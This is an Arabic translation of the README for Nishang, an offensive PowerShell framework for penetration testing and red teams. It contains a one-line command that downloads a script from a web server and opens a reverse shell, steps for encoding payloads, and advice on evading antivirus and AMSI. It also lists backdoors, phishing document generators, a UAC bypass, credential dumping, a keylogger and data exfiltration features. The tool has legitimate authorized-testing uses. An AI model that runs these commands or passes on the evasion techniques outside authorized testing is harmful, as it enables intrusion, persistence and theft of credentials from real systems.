
Nishang - باور شيل الهجومي لفريق الاختراق الأحمر، اختبار الاختراق والأمن الهجومي.
بقلم Nikhil Mittal مؤسس Altered Security - تدريب عملي على الأمن المؤسسي والفريق الأحمر!
قم باستيراد جميع السكريبتات في جلسة باورشيل الحالية (من إصدار باورشيل v3 فصاعدًا).
PS C:\nishang> Import-Module .\nishang.psm1
استخدم السكريبتات الفردية باستخدام dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
للحصول على المساعدة حول أي سكريبت أو دالة، استخدم:
PS C:\nishang> Get-Help [scriptname] -full
لاحظ أن المساعدة متاحة للدالة التي تم تحميلها بعد تشغيل السكريبت وليس للسكريبت نفسه منذ الإصدار 0.3.8. في جميع الحالات، اسم الدالة هو نفس اسم السكريبت.
على سبيل المثال، لرؤية المساعدة حول Get-WLAN-Keys.ps1، استخدم
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
يتم الإبلاغ عن سكريبتات نيشانغ من قبل العديد من برامج مكافحة الفيروسات باعتبارها ضارة. السكريبتات على الهدف يُقصد بها أن تُستخدم في الذاكرة وهو أمر سهل جدًا باستخدام باورشيل. طريقتان أساسيتان لتنفيذ سكريبتات باورشيل في الذاكرة:
الطريقة 1. استخدام التحميل والتنفيذ في الذاكرة: استخدم الأمر أدناه لتنفيذ سكريبت باورشيل من شل بعيدة، شل ميتيربريتر الأصلي، شل ويب، إلخ. والدالة التي يصدرها. جميع السكريبتات في نيشانغ تصدر دالة بنفس الاسم في جلسة باورشيل الحالية.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
الطريقة 2. استخدام المعامل -encodedcommand (أو -e) الخاص بباورشيل
جميع السكريبتات في نيشانغ تصدر دالة بنفس الاسم في جلسة باورشيل الحالية. لذلك، تأكد من استدعاء الدالة في السكريبت نفسه عند استخدام معامل encodedcommand من شل غير باورشيل. للمثال أعلاه، أضف استدعاء دالة (بدون علامات اقتباس) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
قم بتشفير السكريبت باستخدام Invoke-Encode من نيشانغ:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
البيانات المشفرة كُتبت إلى .\encoded.txt
الأمر المشفر كُتب إلى .\encodedcommand.txt
من أعلاه، استخدم السكريبت المشفر من encodedcommand.txt وقم بتشغيله على هدف حيث يمكن تنفيذ الأوامر (شل بعيدة، شل ميتيربريتر الأصلي، شل ويب، إلخ.). استخدمه كما يلي:
C:\Users\target> powershell -e [encodedscript]
إذا استمر اكتشاف السكريبتات، فإن تغيير أسماء الدوال والمعاملات وإزالة محتوى المساعدة سيساعد.
في حال كان AMSI في ويندوز 10 لا يزال يحظر تنفيذ السكريبت، راجع هذه المدونة: http://www.labofapenetrationtester.com/2016/09/amsi.html
يحتوي نيشانغ حاليًا على السكريبتات والحمولات التالية.
تعديل كائنات AD لتوفير الحد الأدنى من الأذونات المطلوبة لـ DCShadow.
تنفيذ سكريبتات باورشيل في الذاكرة، تشغيل الأوامر، وتحميل ورفع الملفات باستخدام شل الويب هذا.
باب خلفي يمكنه استقبال التعليمات من مواقع الطرف الثالث وتنفيذ سكريبتات باورشيل في الذاكرة.
باب خلفي يمكنه استقبال الأوامر وسكريبتات باورشيل من استعلامات DNS TXT، وتنفيذها على الهدف، والتحكم به عن بُعد باستخدام الاستعلامات.
باب خلفي يمكنه تنفيذ سكريبتات باورشيل في وقت معين على الهدف.
باب خلفي يمكنه استقبال الأوامر والسكريبتات من SSID لشبكة WLAN دون الاتصال بها.
باب خلفي يمكنه استخدام شاشة توقف ويندوز لتنفيذ الأوامر والسكريبتات عن بُعد.
باب خلفي يمكنه استخدام تدفقات البيانات البديلة (ADS) وسجل ويندوز لتحقيق الثبات (persistence).
باب خلفي يستخدم خدعة Debugger المعروفة لتنفيذ الحمولة مع مفاتيح Sticky keys و Utilman (مفتاح ويندوز + U).
تعديل أذونات مساحات أسماء DCOM و WMI للسماح بالوصول لمستخدم غير مسؤول (non-admin).
تعديل أذونات الباورشيل عن بُعد (PSRemoting) للسماح بالوصول لمستخدم غير مسؤول (non-admin).
تنفيذ للطرق المعروفة علنًا لتجاوز/تجنب AMSI.
إنشاء ملفات CHM مصابة يمكنها تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملفات Word وإصابة الملفات الموجودة لتشغيل أوامر وسكريبتات باورشيل.
إنشاء ملفات Excel وإصابة الملفات الموجودة لتشغيل أوامر وسكريبتات باورشيل.
إنشاء ملف HTA يمكن نشره على خادم ويب واستخدامه في حملات التصيد.
إنشاء ملفات JAR موقعة يمكن استخدامها مع applets لتنفيذ السكريبتات والأوامر.
إنشاء ملفات اختصار قادرة على تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملفات IQY لصيد بيانات الاعتماد وتجزئات SMB.
إنشاء ملفات JS قادرة على تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملفات SCT قادرة على تنفيذ أوامر وسكريبتات باورشيل.
إنشاء ملف SCF يمكن استخدامه لالتقاط تحديات تجزئة NTLM.
عندما تكون صلاحيات SYSTEM مطلوبة.
إدخال ثغرات عن طريق إزالة التصحيحات.
تجاوز UAC.
تنزيل وتنفيذ سكريبت باورشيل في الذاكرة.
تنزيل ملف تنفيذي بصيغة نصية، تحويله إلى ملف تنفيذي، وتنفيذه.
تشغيل أوامر باورشيل، أوامر أصلية، أو أوامر SQL على خادم MSSQL بصلاحيات كافية.
تنفيذ شيل كود (shellcode) في الذاكرة باستخدام استعلامات DNS TXT.
تنفيذ أوامر وسكريبتات باورشيل أو جلسة باورشيل عكسية باستخدام rundll32.exe.
التحقق من وجود جهاز افتراضي.
نسخ ملف SAM باستخدام خدمة Volume Shadow Copy.
خداع مستخدم لإعطاء بيانات اعتماد بنص واضح.
زوج من السكريبتات لاختبار التسلل الخارجي (egress testing)
الحصول على معلومات ثمينة من الهدف.
الحصول على سر LSA من الهدف.
الحصول على تجزئات كلمات المرور من الهدف.
الحصول على مفاتيح WLAN بنص واضح من الهدف.
تسجيل ضغطات المفاتيح من الهدف.
Invoke-MimikatzWdigestDowngrade
تفريغ كلمات مرور المستخدمين بنص واضح على ويندوز 8.1 وسيرفر 2012
الحصول على تلميحات كلمات المرور لمستخدمي ويندوز من الهدف.
الاتصال العكسي وبث شاشة الهدف باستخدام MJPEG.
تحميل Mimikatz في الذاكرة. محدث مع بعض التخصيص.
استخراج معلومات ثمينة من ذاكرة العمليات المستهدفة (مثل المتصفحات) باستخدام regex.
تسريب معلومات مثل بيانات اعتماد المستخدم باستخدام SSID لشبكة WLAN.
تحديد صناديق القفز الإدارية و/أو أجهزة الكمبيوتر المستخدمة للوصول إلى أجهزة Unix.
وكيل HTTPS محلي لهجمات MITM.
التحقق من بيانات الاعتماد على أجهزة كمبيوتر متعددة وإنشاء جلسات PSSessions.
Run-EXEonRemote نسخ وتنفيذ ملف تنفيذي على أجهزة متعددة.
Invoke-NetworkRelay إنشاء مرحلات شبكة بين أجهزة الكمبيوتر.
التحقق من تجزئات العمليات الجارية ضد قاعدة بيانات VirusTotal.
هجوم القوة العمياء على FTP، Active Directory، MSSQL، و Sharepoint.
أداة ماسح منافذ مفيدة.
جميع وظائف نيشانغ في وحدة سكريبت واحدة.
إرسال الأوامر والسكريبتات إلى حساب Gmail محدد ليتم تنفيذها بواسطة Invoke-PsGcatAgent
تنفيذ الأوامر والسكريبتات المرسلة بواسطة Invoke-PsGcat.
شل باورشيل تفاعلي عكسي أو ملزم (reverse connect or bind shell)
نسخة منزوعة من Invoke-PowerShellTcp. تحتوي أيضًا على نسخة هيكلية يمكن أن تتناسب مع تغريدتين.
Invoke-PowerShellTcpOneLineBind
النسخة الملزمة من Invoke-PowerShellTcpOneLine.
شل باورشيل تفاعلي عكسي أو ملزم عبر UDP
نسخة منزوعة من Invoke-PowerShellUdp.
باورشيل تفاعلي عكسي عبر HTTPS.
باورشيل تفاعلي عكسي عبر HTTP.
تنظيف النظام بعد استخدام Invoke-PoshRatHttps
باورشيل تفاعلي باستخدام WMI.
شل باورشيل عكسي تفاعلي عبر ICMP.
شل باورشيل عكسي تفاعلي عبر HTTP باستخدام rundll32.exe.
شل باورشيل عكسي تفاعلي عبر HTTP باستخدام regsvr32.exe.
إضافة قدرة تسريب البيانات إلى Gmail، Pastebin، خادم ويب، و DNS لأي سكريبت.
إضافة قدرة الثبات عند إعادة التشغيل إلى سكريبت.
إزالة الثبات الذي تمت إضافته بواسطة سكريبت Add-Persistence.
استخدم هذه (|) مع أي سكريبت لتسريب المخرجات.
نقل ملف إلى الهدف.
تحليل المفاتيح التي تم تسجيلها بواسطة keylogger.
تشفير وضغط سكريبت أو سلسلة نصية.
فك تشفير وفك ضغط سكريبت أو سلسلة نصية من Invoke-Encode.
تشغيل خادم ويب يسجل مصادقة Basic وتجزئات SMB.
تشفير سلسلة نصية إلى ROT13 أو فك تشفير سلسلة ROT13.
إنشاء سجلات DNS TXT يمكن استخدامها مع سكريبتات أخرى.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
يمكن العثور على تحديثات حول نيشانغ على مدونتي http://labofapenetrationtester.com وتغريداتي على تويتر @nikhil_mitt.
يرجى فتح issue إذا واجهت خطأ أو كان لديك طلب ميزة. يمكنك مراسلتي عبر البريد الإلكتروني على nikhil [dot] uitrgpv at gmail.com
للملاحظات والمناقشات وطلبات الميزات، انضم إلى: http://groups.google.com/group/nishang-users
أنا دائمًا أبحث عن مساهمين لنيشانغ. يرجى تقديم الطلبات أو مراسلتي عبر البريد الإلكتروني.
بعض منشورات المدونة المفيدة للمبتدئين:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
جميع المنشورات عن نيشانغ: